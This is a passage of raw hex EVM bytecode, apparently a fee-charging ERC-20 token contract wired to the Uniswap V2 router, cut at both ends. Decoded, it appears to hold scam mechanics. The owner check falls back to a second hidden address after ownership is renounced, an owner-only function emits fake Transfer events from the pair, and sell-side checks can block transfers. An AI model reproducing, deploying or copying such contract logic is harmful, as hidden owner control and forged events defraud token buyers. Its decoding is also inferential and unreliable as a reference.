c6565b60405180910390f35b34801561058357600080fd5b5061058c611298565b60405161059991906141c6565b60405180910390f35b3480156105ae57600080fd5b506105b761129e565b6040516105c491906141c6565b60405180910390f35b3480156105d957600080fd5b506105e26112a4565b6040516105ef91906141c6565b60405180910390f35b34801561060457600080fd5b5061061f600480360381019061061a91906141e1565b6112aa565b005b34801561062d57600080fd5b506106486004803603810190610643919061420e565b611345565b6040516106559190614004565b60405180910390f35b34801561066a57600080fd5b5061068560048036038101906106809190614261565b61141e565b005b34801561069357600080fd5b5061069c6114fb565b6040516106a991906142d0565b60405180910390f35b3480156106be57600080fd5b506106d960048036038101906106d4919061401f565b611501565b6040516106e69190614004565b60405180910390f35b3480156106fb57600080fd5b50610704611557565b60405161071191906141c6565b60405180910390f35b34801561072657600080fd5b5061072f61155d565b60405161073c9190614004565b60405180910390f35b34801561075157600080fd5b5061075a611570565b6040516107679190614307565b60405180910390f35b34801561077c57600080fd5b5061079760048036038101906107929190613fa9565b611579565b6040516107a49190614004565b60405180910390f35b3480156107b957600080fd5b506107c261162c565b6040516107cf91906142d0565b60405180910390f35b3480156107e457600080fd5b506107ed611652565b6040516107fa9190614004565b60405180910390f35b34801561080f57600080fd5b5061082a6004803603810190610825919061401f565b611665565b6040516108379190614004565b60405180910390f35b34801561084c57600080fd5b506108676004803603810190610862919061401f565b6116bb565b6040516108749190614004565b60405180910390f35b34801561088957600080fd5b506108926116db565b60405161089f91906141c6565b60405180910390f35b3480156108b457600080fd5b506108bd6116e1565b6040516108ca9190614004565b60405180910390f35b3480156108df57600080fd5b506108fa60048036038101906108f5919061401f565b6116f4565b60405161090791906141c6565b60405180910390f35b34801561091c57600080fd5b5061092561173c565b005b34801561093357600080fd5b5061094e60048036038101906109499190614322565b611805565b005b34801561095c57600080fd5b506109656118d1565b6040516109729190614004565b60405180910390f35b34801561098757600080fd5b506109a2600480360381019061099d9190614375565b6118fd565b005b3480156109b057600080fd5b506109b9611960565b6040516109c691906142d0565b60405180910390f35b3480156109db57600080fd5b506109e4611986565b6040516109f191906141c6565b60405180910390f35b348015610a0657600080fd5b50610a216004803603810190610a1c91906143b5565b61198c565b005b348015610a2f57600080fd5b50610a38611a17565b005b348015610a4657600080fd5b50610a4f611a5e565b604051610a5c91906142d0565b60405180910390f35b348015610a7157600080fd5b50610a7a611a88565b604051610a8791906142d0565b60405180910390f35b348015610a9c57600080fd5b50610aa5611aae565b604051610ab291906141c6565b60405180910390f35b348015610ac757600080fd5b50610ae26004803603810190610add9190614408565b611ab4565b005b348015610af057600080fd5b50610af9611ad9565b604051610b069190613ee9565b60405180910390f35b348015610b1b57600080fd5b50610b24611b6b565b604051610b3191906141c6565b60405180910390f35b348015610b4657600080fd5b50610b4f611b71565b604051610b5c91906141c6565b60405180910390f35b348015610b7157600080fd5b50610b7a611b77565b604051610b8791906141c6565b60405180910390f35b348015610b9c57600080fd5b50610ba5611b7d565b604051610bb291906141c6565b60405180910390f35b348015610bc757600080fd5b50610be26004803603810190610bdd9190614435565b611b83565b005b348015610bf057600080fd5b50610c0b6004803603810190610c069190613fa9565b611b99565b604051610c189190614004565b60405180910390f35b348015610c2d57600080fd5b50610c36611c66565b604051610c4391906141c6565b60405180910390f35b348015610c5857600080fd5b50610c736004803603810190610c6e9190613fa9565b611c6c565b604051610c809190614004565b60405180910390f35b348015610c9557600080fd5b50610cb06004803603810190610cab919061401f565b611c8a565b005b348015610cbe57600080fd5b50610cd96004803603810190610cd4919061401f565b611d52565b604051610ce691906142d0565b60405180910390f35b348015610cfb57600080fd5b50610d166004803603810190610d119190614435565b611d85565b005b348015610d2457600080fd5b50610d2d611e69565b604051610d3a9190614004565b60405180910390f35b348015610d4f57600080fd5b50610d6a6004803603810190610d659190614375565b611e7c565b005b348015610d7857600080fd5b50610d936004803603810190610d8e91906143b5565b611f2d565b005b348015610da157600080fd5b50610dbc6004803603810190610db791906141e1565b611fb8565b005b348015610dca57600080fd5b50610dd3612053565b604051610de09190614004565b60405180910390f35b348015610df557600080fd5b50610dfe612066565b604051610e0b91906141c6565b60405180910390f35b348015610e2057600080fd5b50610e3b6004803603810190610e3691906141e1565b61206c565b604051610e489190614004565b60405180910390f35b348015610e5d57600080fd5b50610e6661214d565b604051610e7391906141c6565b60405180910390f35b348015610e8857600080fd5b50610ea36004803603810190610e9e919061401f565b612153565b005b348015610eb157600080fd5b50610ecc6004803603810190610ec79190614435565b6121fa565b604051610ed991906141c6565b60405180910390f35b348015610eee57600080fd5b50610ef7612281565b604051610f0491906141c6565b60405180910390f35b348015610f1957600080fd5b50610f22612287565b604051610f2f9190614004565b60405180910390f35b348015610f4457600080fd5b50610f4d6122b3565b604051610f5a91906141c6565b60405180910390f35b348015610f6f57600080fd5b50610f8a6004803603810190610f85919061401f565b6122b9565b005b348015610f9857600080fd5b50610fa16123f0565b604051610fae91906141c6565b60405180910390f35b348015610fc357600080fd5b50610fcc6123f6565b604051610fd991906141c6565b60405180910390f35b348015610fee57600080fd5b50611009600480360381019061100491906141e1565b6123fc565b6040516110169190614004565b60405180910390f35b60606003805461102e906144a4565b80601f016020809104026020016040519081016040528092919081815260200182805461105a906144a4565b80156110a75780601f1061107c576101008083540402835291602001916110a7565b820191906000526020600020905b81548152906001019060200180831161108a57829003601f168201915b5050505050905090565b60006110c56110be612699565b84846126a1565b6001905092915050565b60236020528060005260406000206000915054906101000a900460ff1681565b6110f761286a565b60005b8383905081101561119657816014600086868581811061111d5761111c6144d5565b5b9050602002016020810190611132919061401f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061118e90614533565b9150506110fa565b50505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b6111d261286a565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60115481565b600d5481565b601e5481565b601d5481565b6112b261286a565b670de0b6b3a76400006103e860016112c86111c0565b6112d2919061457b565b6112dc91906145ec565b6112e691906145ec565b811015611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061468f565b60405180910390fd5b670de0b6b3a76400008161133c919061457b565b60088190555050565b60006113528484846128e8565b6114138461135e612699565b61140e8560405180606001604052806028815260200161553260289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113c4612699565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461340c9092919063ffffffff16565b6126a1565b600190509392505050565b61142661286a565b60005b838390508110156114f557838382818110611447576114466144d5565b5b905060200201602081019061145c919061401f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114da91906141c6565b60405180910390a380806114ed90614533565b915050611429565b50505050565b61dead81565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600f5481565b600e60009054906101000a900460ff1681565b60006012905090565b6000611622611586612699565b8461161d8560016000611597612699565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461347090919063ffffffff16565b6126a1565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360009054906101000a900460ff1681565b6000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60146020528060005260406000206000915054906101000a900460ff1681565b60195481565b601360029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61174461286a565b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61180d61286a565b610258831015611852576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184990614721565b60405180910390fd5b6103e88211158015611865575060008210155b6118a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189b906147b3565b60405180910390fd5b82600f8190555081600d8190555080600e60006101000a81548160ff021916908315150217905550505050565b60006118db61286a565b6000601360006101000a81548160ff0219169083151502179055506001905090565b61190561286a565b80602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b61199461286a565b8260168190555081601781905550806018819055506018546017546016546119bc91906147d3565b6119c691906147d3565b60158190555060196015541115611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0990614853565b60405180910390fd5b505050565b611a1f61286a565b6001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff02191690831515021790555042601081905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a5481565b611abc61286a565b80601360026101000a81548160ff02191690831515021790555050565b606060048054611ae8906144a4565b80601f0160208091040260200160405190810160405280929190818152602001828054611b14906144a4565b8015611b615780601f10611b3657610100808354040283529160200191611b61565b820191906000526020600020905b815481529060010190602001808311611b4457829003601f168201915b5050505050905090565b60185481565b60125481565b601f5481565b601c5481565b611b8b61286a565b611b958282611d85565b5050565b6000611c5c611ba6612699565b84611c578560405180606001604052806025815260200161555a6025913960016000611bd0612699565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461340c9092919063ffffffff16565b6126a1565b6001905092915050565b60105481565b6000611c80611c79612699565b84846128e8565b6001905092915050565b611c9261286a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60246020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d8d61286a565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601360019054906101000a900460ff1681565b611e8461286a565b80602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f219190614004565b60405180910390a25050565b611f3561286a565b82601a8190555081601b8190555080601c81905550601c54601b54601a54611f5d91906147d3565b611f6791906147d3565b60198190555060636019541115611fb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faa906148bf565b60405180910390fd5b505050565b611fc061286a565b670de0b6b3a76400006103e86005611fd66111c0565b611fe0919061457b565b611fea91906145ec565b611ff491906145ec565b811015612036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202d90614951565b60405180910390fd5b670de0b6b3a76400008161204a919061457b565b600a8190555050565b602160009054906101000a900460ff1681565b60085481565b600061207661286a565b620186a060016120846111c0565b61208e919061457b565b61209891906145ec565b8210156120da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d1906149e3565b60405180910390fd5b6103e8600a6120e76111c0565b6120f1919061457b565b6120fb91906145ec565b82111561213d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213490614a75565b60405180910390fd5b8160098190555060019050919050565b60155481565b61215b61286a565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121b657600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b600061229161286a565b6000602160006101000a81548160ff0219169083151502179055506001905090565b60175481565b6122c161286a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232790614b07565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601b5481565b600a5481565b600061240661286a565b60115460125461241691906147d3565b4211612457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244e90614b73565b60405180910390fd5b6103e882111561249c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249390614c05565b60405180910390fd5b4260128190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161250091906142d0565b602060405180830381865afa15801561251d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125419190614c3a565b9050600061256c61271061255e86856134ce90919063ffffffff16565b61354890919063ffffffff16565b905060008111156125a7576125a6600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83613592565b5b600060246000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561267557600080fd5b505af1158015612689573d6000803e3d6000fd5b5050505060019350505050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270790614cd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361277f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277690614d6b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161285d91906141c6565b60405180910390a3505050565b612872612699565b73ffffffffffffffffffffffffffffffffffffffff16612890613825565b73ffffffffffffffffffffffffffffffffffffffff16146128e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128dd90614dd7565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294e90614e69565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036129c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bd90614efb565b60405180910390fd5b600081036129df576129da83836000613592565b613407565b601360009054906101000a900460ff1615612ff6576129fc611a5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612a6a5750612a3a611a5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612aa35750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612add575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612af65750600760149054906101000a900460ff16155b15612ff557601360019054906101000a900460ff16612bf057602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bb05750602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be690614f67565b60405180910390fd5b5b602160009054906101000a900460ff1615612dba57612c0d611a5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c9457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cee5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612db95743602060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6b9061501f565b60405180910390fd5b43602060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612ead57600854811115612e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e47906150b1565b60405180910390fd5b600a54612e5c836116f4565b82612e6791906147d3565b1115612ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9f9061511d565b60405180910390fd5b612ff4565b602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f4857600854811115612f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3a906151af565b60405180910390fd5b612ff3565b602360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612ff257600a54612fa5836116f4565b82612fb091906147d3565b1115612ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fe89061511d565b60405180910390fd5b5b5b5b5b5b6000613001306116f4565b9050600060095482101590508080156130265750601360029054906101000a900460ff165b801561303f5750600760149054906101000a900460ff16155b80156130955750602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130eb5750602260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561312f576001600760146101000a81548160ff0219169083151502179055506131136138cd565b6000600760146101000a81548160ff0219169083151502179055505b600760149054906101000a900460ff161580156131585750600e60009054906101000a900460ff165b156131685761316685613a55565b505b6000600760149054906101000a900460ff16159050602260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061321e5750602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561322857600090505b600081156133f75760006019541115613303576132636064613255601954886134ce90919063ffffffff16565b61354890919063ffffffff16565b9050601954601b5482613276919061457b565b61328091906145ec565b601e600082825461329191906147d3565b92505081905550601954601c54826132a9919061457b565b6132b391906145ec565b601f60008282546132c491906147d3565b92505081905550601954601a54826132dc919061457b565b6132e691906145ec565b601d60008282546132f791906147d3565b925050819055506133d3565b600060155411156133d2576133366064613328601554886134ce90919063ffffffff16565b61354890919063ffffffff16565b905060155460175482613349919061457b565b61335391906145ec565b601e600082825461336491906147d3565b925050819055506015546018548261337c919061457b565b61338691906145ec565b601f600082825461339791906147d3565b92505081905550601554601654826133af919061457b565b6133b991906145ec565b601d60008282546133ca91906147d3565b925050819055505b5b60008111156133e8576133e7873083613592565b5b80856133f491906151cf565b94505b613402878787613592565b505050505b505050565b6000838311158290613454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161344b9190613ee9565b60405180910390fd5b506000838561346391906151cf565b9050809150509392505050565b600080828461347f91906147d3565b9050838110156134c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134bb9061524f565b60405180910390fd5b8091505092915050565b60008083036134e05760009050613542565b600082846134ee919061457b565b90508284826134fd91906145ec565b1461353d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613534906152e1565b60405180910390fd5b809150505b92915050565b600061358a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b13565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135f890614e69565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161366790614efb565b60405180910390fd5b61367b838383613b76565b6136e68160405180606001604052806026815260200161550c602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461340c9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613779816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461347090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161381891906141c6565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146138a457600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166138c8565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b60006138d8306116f4565b90506000601f54601d54601e546138ef91906147d3565b6138f991906147d3565b905060008083148061390b5750600082145b1561391857505050613a53565b6014600954613927919061457b565b83111561394057601460095461393d919061457b565b92505b6000600283601e5486613953919061457b565b61395d91906145ec565b61396791906145ec565b9050600061397e8286613b7b90919063ffffffff16565b9050600047905061398e82613bc5565b60006139a38247613b7b90919063ffffffff16565b90506000601e819055506000601d819055506000601f81905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613a0390615332565b60006040518083038185875af1925050503d8060008114613a40576040519150601f19603f3d011682016040523d82523d6000602084013e613a45565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613a9191906142d0565b602060405180830381865afa158015613aae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ad29190614c3a565b90506000613aeb600d548361347090919063ffffffff16565b9050613af684613e02565b613b085760008114613b0757600080fd5b5b600192505050919050565b60008083118290613b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b519190613ee9565b60405180910390fd5b5060008385613b6991906145ec565b9050809150509392505050565b505050565b6000613bbd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061340c565b905092915050565b6000600267ffffffffffffffff811115613be257613be1615347565b5b604051908082528060200260200182016040528015613c105781602001602082028036833780820191505090505b5090503081600081518110613c2857613c276144d5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613ccd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613cf1919061538b565b81600181518110613d0557613d046144d5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613d6a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846126a1565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613dcc9594939291906154b1565b600060405180830381600087803b158015613de657600080fd5b505af1158015613dfa573d6000803e3d6000fd5b505050505050565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613e93578082015181840152602081019050613e78565b60008484015250505050565b6000601f19601f8301169050919050565b6000613ebb82613e59565b613ec58185613e64565b9350613ed5818560208601613e75565b613ede81613e9f565b840191505092915050565b60006020820190508181036000830152613f038184613eb0565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613f4082613f15565b9050919050565b613f5081613f35565b8114613f5b57600080fd5b50565b600081359050613f6d81613f47565b92915050565b6000819050919050565b613f8681613f73565b8114613f9157600080fd5b50565b600081359050613fa381613f7d565b92915050565b60008060408385031215613fc057613fbf613f0b565b5b6000613fce85828601613f5e565b9250506020613fdf85828601613f94565b9150509250929050565b60008115159050919050565b613ffe81613fe9565b82525050565b60006020820190506140196000830184613ff5565b92915050565b60006020828403121561403557614034613f0b565b5b600061404384828501613f5e565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126140715761407061404c565b5b8235905067ffffffffffffffff81111561408e5761408d614051565b5b6020830191508360208202830111156140aa576140a9614056565b5b9250929050565b6140ba81613fe9565b81146140c557600080fd5b50565b6000813590506140d7816140b1565b92915050565b6000806000604084860312156140f6576140f5613f0b565b5b600084013567ffffffffffffffff81111561411457614113613f10565b5b6141208682870161405b565b93509350506020614133868287016140c8565b9150509250925092565b6000819050919050565b600061416261415d61415884613f15565b61413d565b613f15565b9050919050565b600061417482614147565b9050919050565b600061418682614169565b9050919050565b6141968161417b565b82525050565b60006020820190506141b1600083018461418d565b92915050565b6141c081613f73565b82525050565b60006020820190506141db60008301846141b7565b92915050565b6000602082840312156141f7576141f6613f0b565b5b600061420584828501613f94565b91505092915050565b60008060006060848603121561422757614226613f0b565b5b600061423586828701613f5e565b935050602061424686828701613f5e565b925050604061425786828701613f94565b9150509250925092565b60008060006040848603121561427a57614279613f0b565b5b600084013567ffffffffffffffff81111561429857614297613f10565b5b6142a48682870161405b565b935093505060206142b786828701613f94565b9150509250925092565b6142ca81613f35565b82525050565b60006020820190506142e560008301846142c1565b92915050565b600060ff82169050919050565b614301816142eb565b82525050565b600060208201905061431c60008301846142f8565b92915050565b60008060006060848603121561433b5761433a613f0b565b5b600061434986828701613f94565b935050602061435a86828701613f94565b925050604061436b868287016140c8565b9150509250925092565b6000806040838503121561438c5761438b613f0b565b5b600061439a85828601613f5e565b92505060206143ab858286016140c8565b9150509250929050565b6000806000606084860312156143ce576143cd613f0b565b5b60006143dc86828701613f94565b93505060206143ed86828701613f94565b92505060406143fe86828701613f94565b9150509250925092565b60006020828403121561441e5761441d613f0b565b5b600061442c848285016140c8565b91505092915050565b6000806040838503121561444c5761444b613f0b565b5b600061445a85828601613f5e565b925050602061446b85828601613f5e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806144bc57607f821691505b6020821081036144cf576144ce614475565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061453e82613f73565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036145705761456f614504565b5b600182019050919050565b600061458682613f73565b915061459183613f73565b925082820261459f81613f73565b915082820484148315176145b6576145b5614504565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006145f782613f73565b915061460283613f73565b925082614612576146116145bd565b5